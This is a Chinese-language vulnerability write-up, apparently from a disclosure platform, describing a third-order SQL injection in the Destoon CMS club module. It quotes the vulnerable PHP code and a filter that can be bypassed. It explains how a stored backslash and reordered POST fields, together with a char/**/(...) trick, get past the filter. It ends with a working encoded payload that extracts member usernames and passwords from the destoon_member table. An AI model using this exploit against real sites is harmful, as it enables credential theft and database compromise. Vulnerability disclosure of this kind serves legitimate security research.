我会告诉你是三次注入么.
destoon最新版 漏洞文件:/module/club/my_group.inc.php
case 'add':
if($MG['club_group_limit'] && $limit_used >= $MG['club_group_limit']) dalert(lang($L['info_limit'], array($MG['club_group_limit'], $limit_used)), $MODULE[2]['linkurl'].$DT['file_my'].'?mid='.$mid.'&job='.$job);
$need_captcha = $MOD['captcha_group'] == 2 ? $MG['captcha'] : $MOD['captcha_group'];
$need_question = $MOD['question_group'] == 2 ? $MG['question'] : $MOD['question_group'];
if($submit) {
$msg = captcha($captcha, $need_captcha, true);
if($msg) dalert($msg);
$msg = question($answer, $need_question, true);
if($msg) dalert($msg);
$post['username'] = $_username;
if($do->pass($post)) {
$CAT = get_cat($post['catid']);
if(!$CAT) dalert(lang($L['group'], array($CAT['catname'])));
$post['addtime'] = $post['level'] = $post['fee'] = 0;
$post['style'] = $post['template'] = $post['note'] = $post['filepath'] = '';
$need_check = $MOD['check_group'] == 2 ? $MG['check'] : $MOD['check_group'];
$post['status'] = get_status(3, $need_check);
$post['hits'] = 0;
$post['areaid'] = $cityid;
$post['filepath'] = '';
$do->add($post);
$msg = $post['status'] == 2 ? $L['success_check'] : $L['success_add'];
$js = '';
set_cookie('dmsg', $msg);
$forward = $MODULE[2]['linkurl'].$DT['file_my'].'?mid='.$mid.'&job='.$job.'&status='.$post['status'];
$msg = '';
$js .= 'window.onload=function(){parent.window.location="'.$forward.'";}';
dalert($msg, '', $js);
} else {
dalert($do->errmsg, '', ($need_captcha ? reload_captcha() : '').($need_question ? reload_question() : ''));
}
} else {
foreach($do->fields as $v) {
$$v = '';
}
$content = '';
$catid = intval($catid);
$areaid = $cityid;
$item = array();
}
break;
case 'edit':
$itemid or message();
$do->itemid = $itemid;
$item = $do->get_one();
if(!$item || $item['username'] != $_username) message();
if($submit) {
$post['username'] = $_username;
if($do->pass($post)) {
$post['catid'] = $item['catid'];
$post['title'] = $item['title'];
$post['level'] = $item['level'];
$post['fee'] = $item['fee'];
$post['style'] = $item['style'];
$post['template'] = $item['template'];
$post['filepath'] = $item['filepath'];
$post['status'] = $item['status'];
$post['hits'] = $item['hits'];
$do->edit($post);
set_cookie('dmsg', $L['success_edit']);
dalert('', '', 'parent.window.location="'.$forward.'"');
} else {
dalert($do->errmsg);
}
} else {
extract($item);
}
break;
首先通过add操作 可引入\ 而在edit操作中 $item = $do->get_one(); 直接取出 $item['title'] 传给$post 参数 进入edit函数 无任何过滤 而在文件:/module/club/group.class.php (add() edit()所在文件)
function edit($post) {
$this->delete($this->itemid, false);
$post = $this->set($post);
$sql = '';
foreach($post as $k=>$v) {
if(in_array($k, $this->fields)) $sql .= ",$k='$v'";
}
$sql = substr($sql, 1);
$this->db->query("UPDATE {$this->table} SET $sql WHERE itemid=$this->itemid");
$this->update($this->itemid);
clear_upload($post['thumb']);
return true;
}
$post数组里面不仅有之前从数据库取出，也通过post传入了 $post[thumb] $post[content] 而2个变量 在后面的update操作刚好在$title后面 于是通过$title引入\ 转义' 后面一个参数在加以控制进行注入 漏洞大概原理如此 其他下面说
证明: 注册个企业会员 创建商圈 title处引入\
然后在编辑
然后你会发现thumb 和 content传入先后 就是他们update顺序的先后 而thumb会有个is_url的检测不可控制 所以先传入content 即可解决 接下来是绕过过滤的问题了
function strip_sql($string, $type = 1) {
$match = array("/union/i","/where/i","/having/i","/outfile/i","/dumpfile/i","/0x([a-f0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\{\(\+@`])/i","/update([\s\*\/\-\{\(\+@`])/i","/replace([\s\*\/\-\{\(\+@`])/i","/delete([\s\*\/\-\{\(\+@`])/i","/drop([\s\*\/\-\{\(\+@`])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/right[\s]*\(/i","/mid[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/bin[\s]*\(/i","/oct[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i","/conv[\s]*\(/i");
$replace = array('union','where','having','outfile','dumpfile','0x\\1','select\\1from','select\\1','update\\1','replace\\1','delete\\1','drop\\1','load_file(','substring(','substr(','left(','right(','mid(','concat(','concat_ws(','make_set(','ascii(','bin(','oct(','hex(','ord(','char(','conv(');
if($type) {
return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string);
} else {
return str_replace(array('d', 'e', 'g', 'i', 'm', 'n','p', 'r', 's', 't', 'v', 'x'), array('d', 'e', 'g', 'i', 'm', 'n', 'p', 'r', 's', 't', 'v', 'x'), $string);
}
}
细看你会发现这个过滤中所以 ascii( char( 的过滤方式存在问题 /char[\s]*(/i
我们可以传入char/**/(1) 即可绕过 但是直接出数据不可能了 那我们更新好我们的语句 再一次编辑 再进行注入 这样就是3次注入啦 而且在edit() 中set() 中最后会进行次$post = dhtmlspecialchars($post); 所以直接引入' 还是不行 还是只能引入\ 2个参数注入 但是content是永远从post直接获取的 于是重新挑选
$post['catid'] = $item['catid'];
$post['title'] = $item['title'];
$post['level'] = $item['level'];
$post['fee'] = $item['fee'];
$post['style'] = $item['style'];
$post['template'] = $item['template'];
$post['filepath'] = $item['filepath'];
$post['status'] = $item['status'];
$post['hits'] = $item['hits'];
我们挑选template 和 filepath 配合注入 第一次编辑 content 应该是
post%5Bcontent%5D=,template=char/**/(92),filepath=char/**/(44,99,111,110,116,101,110,116,61,40,115,101,108,101,99,116,32,99,111,110,99,97,116,40,117,115,101,114,110,97,109,101,44,112,97,115,115,119,111,114,100,41,32,102,114,111,109,32,100,101,115,116,111,111,110,95,109,101,109,98,101,114,32,108,105,109,105,116,32,49,41,35)#
template 引入 \ filepath则是
,content=(select concat(username,password) from destoon_member limit 1)#
注意 content在前 thumb在后
之后再编辑一次 点进去就看到
乌云编辑器\被转义啦。。。 - -
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